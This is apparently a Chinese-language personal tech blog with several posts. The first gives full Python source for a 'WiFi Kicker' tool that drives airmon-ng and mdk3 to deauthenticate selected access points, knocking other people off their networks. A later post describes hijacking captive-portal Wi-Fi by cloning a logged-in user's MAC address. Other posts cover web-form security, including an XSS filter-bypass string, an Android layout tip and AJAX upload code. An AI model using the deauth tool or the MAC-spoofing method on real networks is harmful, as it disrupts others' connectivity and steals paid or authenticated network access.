-
2015-09-20 11:58:53更新於 2015-09-20 12:02:18
今天實在太過閒,其實也不閒,只是不想花時間讀書,一想到就厭煩。於是就用Python寫了個小程式當作練習。
WiFi Kicker,看名稱就知道大概是讓別人斷線的程式。
主要功能:選擇性DOS目標,自訂目標SSID(有些地方有很多個相同名稱,但實際上都是不同的基地台,例如學校、公司…等)、自訂訊號強度(舉例:訊號強度要大於-70dbm才DeAuth DOS攻擊)、自訂間隔時間。
首先…因為我初學,所以程式設計得不是很好。必須要有兩張網卡,wlan0,wlan1,
而wlan1必須要支援mon模式。
必要組件:aircrack、mdk3、python wifi lib。
apt-get install python-pip
apt-get install aircrack-ng
apt-get install mdk3
pip install wifi
這主要是針對我自己的平板所寫的,桌面環境為LXDE。指令裡面有寫到 lxterminal 這個應用程式,所以可能要自己修改一下。
開發緣由:我自己的AR9271這網卡在某些場所搜尋的裝置實在太多了!如果開了 mdk3 根本Dos不到什麼東西。反而自己的網卡Down了。所以我自己寫了一個根據訊號強度和目標裝置SSID,特定目標DOS會比較有效一點。
wifi_kicker.py - Source Code
# coding: utf-8
"""By Weil Jimmer - For Safe Test Only"""
from wifi import Cell, Scheme
import time,os,subprocess
def __init__(self):
print("")
class wcolors:
GRAY = "\033[1;30m"
RED = "\033[1;31m"
LIME = "\033[1;32m"
YELLOW = "\033[1;33m"
BLUE = "\033[1;34m"
MAGENTA = "\033[1;35m"
CYAN = "\033[1;36m"
WHITE = "\033[1;37m"
DARK_RED = "\033[1;38m"
BGRAY = "\033[1;47m"
BRED = "\033[1;41m"
BLIME = "\033[1;42m"
BYELLOW = "\033[1;43m"
BBLUE = "\033[1;44m"
BMAGENTA = "\033[1;45m"
BCYAN = "\033[1;46m"
BDARK_RED = "\033[1;48m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
END = "\033[1;m"
END_BOLD = "\033[1m"
print ("\033[1;31;40m")
print ("*" * 40)
print ("* ")
print ("* Name:\t" + wcolors.BOLD + "WiFi Ass Kicker" + wcolors.END_BOLD)
print ("* ")
print ("* Team:\tWhite Birch Forum Team")
print ("* ")
print ("* Website:\thttp://0000.twgogo.org/")
print ("* ")
print ("* Date:\t2015.09.20")
print ("* ")
print ("*" * 40)
print ("\033[0m")
target_singal_limit = int(raw_input("目標訊號強度(請加負號):"))
target_ssid = str(raw_input("目標SSID(選填,可留空):"))
time_X = int(raw_input("間隔秒數:"))
if time_X<=0:
time_X=10
os.system("ifconfig wlan1 up")
time.sleep(2)
print("wlan1 UP..")
os.system("airmon-ng start wlan1")
time.sleep(2)
print("wlan1mon UP..")
os.system("lxterminal -e 'bash -c \"airodump-ng wlan1mon; exec bash\"'")
os.system("lxterminal -e 'bash -c \"mdk3 wlan1mon d -b black_list.txt -s 1024; exec bash\"'")
try:
while True:
try:
target_mac=[]
print(wcolors.RED + "Scanning..." + wcolors.END)
k=Cell.all('wlan0')
print(wcolors.RED + "Scan Done." + wcolors.END)
for x in range(0,len(k)):
if (k[x].signal>=target_singal_limit and (target_ssid==k[x].ssid or target_ssid=="")):
target_mac.append(str(k[x].address))
print("Found MAC:" + wcolors.RED + str(k[x].address) + wcolors.END + "\tSIGNAL:" + wcolors.RED + str(k[x].signal) + wcolors.END + "\tSSID:" + wcolors.RED + k[x].ssid + wcolors.END)
else:
print("Found MAC:" + wcolors.YELLOW + str(k[x].address) + wcolors.END + "\tSIGNAL:" + wcolors.YELLOW + str(k[x].signal) + wcolors.END + "\tSSID:" + wcolors.YELLOW + k[x].ssid + wcolors.END)
target = open('./black_list.txt', 'w')
for x in range(0,len(target_mac)):
target.write(target_mac[x] + "\n")
target.close()
except:
print("")
time.sleep(time_X)
except:
os.system("airmon-ng stop wlan1mon")
time.sleep(2)
print("wlan1mon DOWN..")
input("\n\n請輸入任意鍵結束...");

WeilsNetLogo
This entry was posted in General, Experience, Functions, Note, Python, Tools, Wi-Fi By Weil Jimmer
.
-
2015-09-12 21:40:27更新於 2018-03-28 12:24:01
當我很困擾於每次鍵盤都會Resize我的View很討厭,去搜尋又找不到方法,結果,網路上搜尋結果是:物件沒有調整大小,而是「移動」了。使用下列代碼插入目標物件XML即可。
android:isScrollContainer="false"
僅此作為筆記。
WeilsNetLogo
This entry was posted in Android, General, Experience, Functions, Java, XML By Weil Jimmer
.
-
2015-09-06 17:18:03更新於 2017-03-04 14:51:53
閒閒沒事在Google搜尋我自己部落相關的關鍵字,想看看能見度多高還有會顯示什麼東西,我搜尋表單攻擊,卻看到別人部落上寫了一篇表單安全性的文章,突然有感而發,我也來發表這類的東西。
--只是個人淺見,若有高手歡迎指正。--
首先撰寫表單堅持一些要點就不容易被攻擊。
一、過濾所有Request變數。
最基本的防禦XSS,那些JavaScript寫成的惡意程式碼,還有跨站框架……等等攻擊。最主要只要擋掉「HTML」標籤就可以了,問題是,萬一我要開放HTML給使用者使用,這下才是真的麻煩,如果真如此就只好開放BBcode囉。千萬不要直接允許用戶輸入HTML,即使是限制也是有問題的。
攻擊者可以利用事件 onClick、onError、onLoad 之類的方式觸發XSS攻擊。危險。
Replace掉所有「<」、「>」、單雙引號,就安全了嗎?Maybe,Maybe Not。
有些人就直接 Replace 掉 <script ,感覺上很對,實際上有很大的漏洞。
如果我寫 「<script<scr<scriptipt>」被過濾掉一次之後會變為「<script>」,像這種清除字串,最好寫一個 while true ,刪乾淨,搜尋到就刪,直到沒搜尋到為止。(萬不得已才這樣做)
個人建議全部改用 HTML 編碼,全面HTML編碼(HTML編碼就是 &#Unicode; 的形式的字串),若有引數是在資料庫語句的話就請不要用 XXX=XXX 的形式(數字型態),全部改用 XXX="XXX" 之類的,一定要有引號框住。並且過濾掉所有單雙引號<>以及反斜線。
至於傳進變數的方式,建議通通改成 POST ,不要使用 GET ,除非分頁設計還是什麼的,不然絕對沒必要使用 GET ,很危險。這有牽扯到某些伺服器的有啟用magic quotes,會自動脫逸引號字元,所以用POST會較為安全一些。而且POST,攻擊者比較不好攻擊。
還有COOKIE、Header 傳進來的 也建議 過濾掉。
二、不使用cookie、鎖定session以及IP。
又要再次重申 cookie 的危險程度,我幾乎寫程式只用 session 完全不使用 cookie,我知道session 有所謂的 SESSION_id 是透過 cookie 所存,所以攻擊者只要獲取其他人的 session ID,即可使用 cookie 欺騙 就這樣簡單的取得他人的帳號權限。
網路上有一堆防禦方法是 透過IP UserAgent 算出來的 MD5 作為安全碼,只要進來的安全碼和之前不同就登出用戶,是一個很棒的方式,不過很麻煩。這對登入表單有一些效果,如果是留言表單,我故意關閉cookie,讓server的session id 跳錯,這樣就很有可能可以直接不經過驗證碼就可以留言(前提是對方沒有檢查session驗證碼的值是否為空)。
我的作法是強制鎖定 session ID 為 IP 的 md5 值,這樣也許會有點不方便,不過我覺得這樣反而好一點,不需要擔心什麼 session 挾持,或是 對方換一個新的 ID 進來,明明被 ban 15分鐘又可以繼續留言。
三、防止表單偽造、防止惡意灌水
什麼是表單偽造,表單傳入的值可以直接當成 name=value&name2=value2 ... 無限延伸,檢查也是檢查值,很多後端程式 根本不管從哪來 Request 進來的,這給攻擊者很大的方便,只要複製一分一模一樣的表單,就可以無限偽造一堆請求過去。
有些會透過 Header 的 Referer 來檢查 轉介站,不過 Header 也是可以偽造的。
所以,最好是在 表單一訪問的情況 就立刻生成一個 Key ,當值傳到後端處理的時候,就檢查那個 Key 有沒有相同,不同就是表單偽造,然後每次通過驗證就銷毀 Key重新生成一個新的,而攻擊者為了取得Key,必須一直不斷的向 「原始」 表單請求 ,獲取裡面的 Key 才可以發送資料。
這原理跟驗證碼有點相似,現在很多網站都有圖形驗證碼了。不過一樣也有一些是沒有驗證碼的,驗證碼是一定要有的!不然會被惡意攻擊,
而那些使用 「文字」驗證碼的人,自以為很安全,其實很危險。我近期開發出來的表單攻擊程式就可以破解文字驗證碼!即使是要經過數學運算的也是一樣可以破解。
意味著我可以提交完就訪問原始網站,分析驗證碼,又提交,又訪問原始網站,分析驗證碼,又提交……
唯有圖形驗證碼才可以防禦此類攻擊。文字驗證碼根本不可靠。

WeilsNetLogo
This entry was posted in General, Experience, Functions, HTML, JS, PHP By Weil Jimmer
.
-
2015-09-04 19:30:47更新於 2017-02-18 23:18:40
從網路上查到的AJAX XML Request 的方式,竟然還有這種用法……我都不知道……
廢話不多說,直接分享Code。一看就懂。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Upload Files using XMLHttpRequest - Minimal</title>
<script type="text/javascript">
function fileSelected() {
var file = document.getElementById('fileToUpload').files[0];
if (file) {
var fileSize = 0;
if (file.size > 1024 * 1024)
fileSize = (Math.round(file.size * 100 / (1024 * 1024)) / 100).toString() + 'MB';
else
fileSize = (Math.round(file.size * 100 / 1024) / 100).toString() + 'KB';
document.getElementById('fileName').innerHTML = 'Name: ' + file.name;
document.getElementById('fileSize').innerHTML = 'Size: ' + fileSize;
document.getElementById('fileType').innerHTML = 'Type: ' + file.type;
}
}
function uploadFile() {
var fd = new FormData();
fd.append("field","var1");
fd.append("file", document.getElementById('fileToUpload').files[0]);
var xhr = new XMLHttpRequest();
xhr.upload.addEventListener("progress", uploadProgress, false);
xhr.addEventListener("load", uploadComplete, false);
xhr.addEventListener("error", uploadFailed, false);
xhr.addEventListener("abort", uploadCanceled, false);
xhr.open("POST", "upload.php");
//xhr.setRequestHeader("Content-type","multipart/form-data");
xhr.send(fd);
}
function uploadProgress(evt) {
if (evt.lengthComputable) {
var percentComplete = Math.round(evt.loaded * 100 / evt.total);
document.getElementById('progressNumber').innerHTML = percentComplete.toString() + '%';
}
else {
document.getElementById('progressNumber').innerHTML = 'unable to compute';
}
}
function uploadComplete(evt) {
/* This event is raised when the server send back a response */
alert(evt.target.responseText);
}
function uploadFailed(evt) {
alert("There was an error attempting to upload the file.");
}
function uploadCanceled(evt) {
alert("The upload has been canceled by the user or the browser dropped the connection.");
}
</script>
</head>
<body>
<form id="form1" enctype="multipart/form-data" method="post" action="upload.php">
<div class="row">
<label for="fileToUpload">Select a File to Upload</label>
<input type="file" name="file" id="fileToUpload" onchange="fileSelected();"/>
</div>
<div id="fileName"></div>
<div id="fileSize"></div>
<div id="fileType"></div>
<div class="row">
<input type="button" onclick="uploadFile()" value="Upload" />
</div>
<div id="progressNumber"></div>
</form>
</body>
</html>
WeilsNetLogo
This entry was posted in Functions, HTML, JS, Note, XML By Weil Jimmer
.
-
2015-08-26 11:43:41更新於 2017-05-19 19:19:27
【Test】Both Device Which Is The Same MAC Address Connect to Wi-Fi
這個實驗,Jimmy Joe已經做過了,不過他網站上沒有描述清楚到底會怎樣,所以我要自己測試一下。
實驗裝置:
基地台:小米隨身Wi-Fi USB
裝置:Samsung Galaxy Tab 4 7.0 LTE(SMT235Y) 、 Infocus M810
首先因為我的手機很冷門,資訊極少,我也不知道要怎麼改Mac,但平板刷了CM12.1之後就可以使用Google Play商店上的Mac Changer,所以,用平板去改MAC地址。
在這之前,手機已經與Wi-Fi基地台連線了。
開始改MAC。

在電腦上顯示的結果如下:(未看到其他裝置登入,除了裝置名稱,其餘資訊,像是製造商、IP……等,都沒有變更。)

平板(Fake MAC)嘗試訪問網站,結果可以正常訪問。

現在輪到手機(原用戶):Wi-Fi 沒有斷線,呈現已登入狀態,不過傳輸數據完全沒有任何回應。(無法正常使用網路)

接著把平板(Fake MAC)遠離基地台,讓手機(原用戶)靠近基地台。再次實驗,以測試與訊號強度是否有關係。
結果還是一樣!原用戶無法正常使用網路,平板可以正常使用網路。(看來…是先登入的被無預警登出,後登入的佔主導權。)
下列是,假MAC改回正常MAC連入基地台。(原用戶沒有受到另一台裝置干擾)

結果原用戶果然可以正常使用網路。一整個過程當中,原用戶都沒有被中斷連線,只是,會有段時間感覺好像已經斷網了。(實際上還是連著的。)

實驗結束。
結論:以我這基地台來說,是不會察覺到有兩台裝置同時使用網路並造成一下有一下無的情況,而是,真的會被踢掉,假的會正常使用。
若手機重新連線應該又會換成原用戶佔主導權,而假的無法正常使用了。
所以,和訊號強度(遠近)無關。
/**********2015/8/28 五 (更新)************/
**已經實驗證實**若是在 Open Wi-Fi Guest Mode 的環境下,進行更改MAC地址的動作,可以免費存取Wi-Fi。
什麼意思?
講白一點就是:例如學校、公司…等環境,都有開放式的Wi-Fi,可以直接連進去但沒有網路,接著會提示要使用者登入帳密。進行網頁認證後才可以上網。
我們可以透過更改自己的MAC地址為已登入用戶的MAC地址,這樣會造成,已登入用戶無法正常上網,但我可以正常上網。
要如何取得別人的MAC?可以在終端機輸入:
arp -an
之類的,或用zANTI、dSploit、Intercepter-NG……查看內網的其他人的MAC地址。
再更改即可。

WeilsNetLogo
This entry was posted in General, Experience, Functions, The Internet, Note, Wi-Fi By Weil Jimmer
.